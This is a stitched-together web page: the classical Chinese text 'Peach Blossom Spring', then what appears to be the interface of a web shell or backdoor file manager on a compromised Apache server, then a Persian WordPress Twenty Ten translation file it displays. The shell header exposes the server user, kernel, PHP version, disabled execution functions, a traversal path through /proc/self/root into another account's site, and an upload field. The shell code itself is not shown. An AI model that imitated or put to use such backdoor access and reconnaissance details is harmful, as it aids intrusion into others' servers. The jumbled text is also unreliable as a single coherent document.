晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/self/root/home/stando/public_html/wp-content/languages/themes/ |
Upload File : |
# Translation of Themes - Twenty Ten in Persian # This file is distributed under the same license as the Themes - Twenty Ten package. msgid "" msgstr "" "PO-Revision-Date: 2019-11-13 22:55:02+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: fa\n" "Project-Id-Version: Themes - Twenty Ten\n" #. Description of the theme msgid "The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the \"Asides\" and \"Gallery\" categories, and has an optional one-column page template that removes the sidebar." msgstr "پوستهی ۲۰۱۰ برای وردپرس." #. Theme Name of the theme msgid "Twenty Ten" msgstr "دوهزار و ده" #. translators: %s: The post title. #: comments.php:40 msgid "One Response to %s" msgstr "یک دیدگاه دربارهٔ «%s»" #: functions.php:112 msgid "White" msgstr "سفید" #: functions.php:107 msgid "Light Gray" msgstr "خاکستری روشن" #: functions.php:102 msgid "Medium Gray" msgstr "خاکستری متوسط" #: functions.php:97 msgid "Black" msgstr "سیاه" #: functions.php:92 msgid "Blue" msgstr "آبی" #. Template Name of the theme msgid "One column, no sidebar" msgstr "تکستونه، بدون ستونکناری" #: tag.php:17 msgid "Tag Archives: %s" msgstr "بایگانی برچسب: s%" #: sidebar.php:36 msgid "Meta" msgstr "اطلاعات" #: sidebar.php:29 msgid "Archives" msgstr "بایگانی" #: search.php:29 msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." msgstr "متأسفیم، موردی مطابق با جستجوی شما پیدا نشد. لطفا برای جستجو از کلیدواژههای دیگری استفاده کنید." #: search.php:27 msgid "Nothing Found" msgstr "چیزی پیدا نشد" #: search.php:16 msgid "Search Results for: %s" msgstr "نتایج جستجوی: %s" #: loop.php:176 msgid "<span class=\"%1$s\">Tagged</span> %2$s" msgstr "<span class=\"%1$s\">برچسبشده</span> %2$s" #: loop.php:167 msgid "<span class=\"%1$s\">Posted in</span> %2$s" msgstr "<span class=\"%1$s\">منتشرشده در</span> %2$s" #: loop.php:115 msgctxt "asides category slug" msgid "asides" msgstr "کنارهها" #: loop.php:108 loop.php:131 loop.php:180 msgid "% Comments" msgstr "% دیدگاه" #: loop.php:108 loop.php:131 loop.php:180 msgid "1 Comment" msgstr "۱ دیدگاه" #: loop.php:108 loop.php:131 loop.php:180 msgid "Leave a comment" msgstr "دیدگاهتان را بنویسید:" #: loop.php:105 msgid "View posts in the Gallery category" msgstr "نمایش نوشته در دسته گالری" #: loop.php:102 loop.php:105 msgid "More Galleries" msgstr "گالریهای بیشتر" #: loop.php:102 msgid "View Galleries" msgstr "مشاهده گالریها" #: loop.php:90 msgid "Permalink to %s" msgstr "پیوند پایدار به %s" #: loop.php:89 msgid "This gallery contains <a %1$s>%2$s photo</a>." msgid_plural "This gallery contains <a %1$s>%2$s photos</a>." msgstr[0] "این گالری شامل <a %1$s>%2$s تصویر</a> است." #: loop.php:65 loop.php:104 msgctxt "gallery category slug" msgid "gallery" msgstr "گالری" #: loop.php:35 msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post." msgstr "با عرض پوزش،هیچ نتیجهای برای بایگانی درخواستی پیدا نشد. شاید جستجو بتواند به شما در جهت پیدا کردن نوشتهای مرتبط کمک کند." #: loop.php:26 loop.php:195 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "نوشتههای تازهتر <span class=\"meta-nav\">←</span>" #: loop.php:25 loop.php:194 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">→</span> نوشتههای کهنهتر" #: loop-single.php:61 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "دیدن همهی نوشتههای: %s <span class=\"meta-nav\">→</span>" #: loop-single.php:26 loop-single.php:76 msgctxt "Next post link" msgid "→" msgstr "→" #: loop-single.php:25 loop-single.php:75 msgctxt "Previous post link" msgid "←" msgstr "←" #: loop-attachment.php:155 loop.php:156 loop-page.php:36 loop-single.php:41 msgid "Pages:" msgstr "برگهها :" #: loop-attachment.php:75 loop-attachment.php:165 loop.php:109 loop.php:132 #: loop.php:181 loop-page.php:41 loop-single.php:70 msgid "Edit" msgstr "ویرایش" #: loop-attachment.php:68 msgid "Link to full-size image" msgstr "پیوند به عکس با اندازهی واقعی" #: loop-attachment.php:64 msgid "Full size is %s pixels" msgstr "اندازهی اصلی %s پیکسل است " #: loop-attachment.php:52 msgid "<span class=\"%1$s\">Published</span> %2$s" msgstr "<span class=\"%1$s\">منتشرشده</span> %2$s" #: loop-attachment.php:39 msgid "<span class=\"%1$s\">By</span> %2$s" msgstr "<span class=\"%1$s\">توسط</span> %2$s" #. translators: %s - title of parent post #: loop-attachment.php:28 msgid "<span class=\"meta-nav\">←</span> %s" msgstr "<span class=\"meta-nav\">←</span> %s" #: loop-attachment.php:25 msgid "Return to %s" msgstr "برگشت به %s" #: header.php:111 msgid "Skip to content" msgstr "رفتن به نوشتهها" #: header.php:35 msgid "Page %s" msgstr "برگه %s" #: functions.php:623 msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>." msgstr "افزودن <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقهمندیها." #: functions.php:621 msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>." msgstr "این نوشته در %1$s ارسال شده است. افزودن <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقهمندیها." #: functions.php:619 msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>." msgstr "این نوشته در %1$s ارسال و %2$s برچسب شده است. افزودن <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقهمندیها." #: loop-attachment.php:44 functions.php:602 msgid "View all posts by %s" msgstr "نمایش همهی نوشتههای %s" #: functions.php:591 msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s" msgstr "<span class=\"%1$s\">ارسال شده در</span> %2$s <span class=\"meta-sep\">by</span> %3$s" #: functions.php:553 msgid "Fourth Footer Widget Area" msgstr "ناحیه ابزارک پابرگ چهارم" #: functions.php:540 msgid "Third Footer Widget Area" msgstr "ناحیه ابزارک پابرگ سوم" #: functions.php:527 msgid "Second Footer Widget Area" msgstr "ناحیه ابزارک پابرگ دوم" #: functions.php:516 functions.php:529 functions.php:542 functions.php:555 msgid "An optional widget area for your site footer." msgstr "یک محدوده ابزارک اختیاری برای پابرگ سایت شما." #: functions.php:514 msgid "First Footer Widget Area" msgstr "ناحیه ابزارک پابرگ اول" #: functions.php:503 msgid "An optional secondary widget area, displays below the primary widget area in your sidebar." msgstr "یک ستونکناری ثانویه که زیر ستونکناری اصلی نمایش داده خواهد شد." #: functions.php:501 msgid "Secondary Widget Area" msgstr "ناحیه ابزارک دوم" #: functions.php:490 msgid "Add widgets here to appear in your sidebar." msgstr "برای نمایش ابزارکها در ستونکناری سایتتان، آنها را به اینجا بکشید." #: functions.php:488 msgid "Primary Widget Area" msgstr "ناحیه ابزارک اصلی" #: functions.php:467 msgid "Pingback:" msgstr "بازتاب:" #: functions.php:440 functions.php:467 msgid "(Edit)" msgstr "(ویرایش)" #. translators: 1: date, 2: time #: functions.php:436 msgid "%1$s at %2$s" msgstr "%1$s در %2$s" #: functions.php:429 msgid "Your comment is awaiting moderation." msgstr "دیدگاه شما در انتظار بررسی است." #: functions.php:426 msgid "%s <span class=\"says\">says:</span>" msgstr "%s <span class=\"says\">میگوید:</span>" #: loop-attachment.php:151 loop.php:124 loop.php:152 functions.php:329 msgid "Continue reading <span class=\"meta-nav\">→</span>" msgstr "ادامهی خواندن<span class=\"meta-nav\">→</span>" #. translators: header image description #: functions.php:254 msgid "Sunset" msgstr "غروب" #. translators: header image description #: functions.php:248 msgid "Path" msgstr "مسیر" #. translators: header image description #: functions.php:242 msgid "Inkwell" msgstr "دوات" #. translators: header image description #: functions.php:236 msgid "Forest Floor" msgstr "بستر جنگل" #. translators: header image description #: functions.php:230 msgid "Fern" msgstr "سرخس" #. translators: header image description #: functions.php:224 msgid "Concave" msgstr "کاو" #. translators: header image description #: functions.php:218 msgid "Cherry Blossoms" msgstr "شکوفههای گیلاس" #. translators: header image description #: functions.php:212 msgid "Berries" msgstr "توتها" #: functions.php:137 msgid "Primary Navigation" msgstr "ناوبری اولیه" #: footer.php:47 msgid "Proudly powered by %s." msgstr "با افتخار نیرو گرفته از %s." #: footer.php:46 msgid "Semantic Personal Publishing Platform" msgstr "نرمافزار انتشار شخصی" #: comments.php:88 msgid "Comments are closed." msgstr "دیدگاهها غیرفعال هستند." #: comments.php:57 comments.php:77 msgid "Newer Comments <span class=\"meta-nav\">→</span>" msgstr "دیدگاههای تازهتر <span class=\"meta-nav\">→</span>" #: comments.php:56 comments.php:76 msgid "<span class=\"meta-nav\">←</span> Older Comments" msgstr "<span class=\"meta-nav\">←</span> دیدگاههای قدیمیتر" #: comments.php:46 msgid "%1$s Response to %2$s" msgid_plural "%1$s Responses to %2$s" msgstr[0] "%1$s دیدگاه دربارهٔ «%2$s»" #: comments.php:18 msgid "This post is password protected. Enter the password to view any comments." msgstr "این نوشته به وسیله رمز محافظت شده است. جهت دیدن دیدگاهها رمز را وارد کنید." #: category.php:17 msgid "Category Archives: %s" msgstr "بایگانی دسته: %s" #: loop-single.php:57 author.php:49 msgid "About %s" msgstr "درباره %s" #: author.php:29 msgid "Author Archives: %s" msgstr "بایگانی نویسنده: %s" #: archive.php:41 msgid "Blog Archives" msgstr "بایگانی وبلاگ" #: archive.php:39 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: archive.php:39 msgid "Yearly Archives: <span>%s</span>" msgstr "بایگانی سالانه: <span>%s</span>" #: archive.php:37 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: archive.php:37 msgid "Monthly Archives: <span>%s</span>" msgstr "بایگانی ماهیانه: <span>%s</span>" #: archive.php:35 msgid "Daily Archives: <span>%s</span>" msgstr "بایگانی روزانه: <span>%s</span>" #: 404.php:18 msgid "Apologies, but the page you requested could not be found. Perhaps searching will help." msgstr "پوزش میخواهیم، اما برگهی درخواستی شما پیدا نشد. شاید جستجو بتواند به شما کمک کند." #: loop.php:33 404.php:16 msgid "Not Found" msgstr "پیدا نشد" #. Author URI of the theme #: footer.php:46 msgid "https://wordpress.org/" msgstr "http://wp-persian.com/" #. Author of the theme msgid "the WordPress team" msgstr "گروه وردپرس فارسی" #. Theme URI of the theme msgid "https://wordpress.org/themes/twentyten/" msgstr "https://wordpress.org/themes/twentyten/"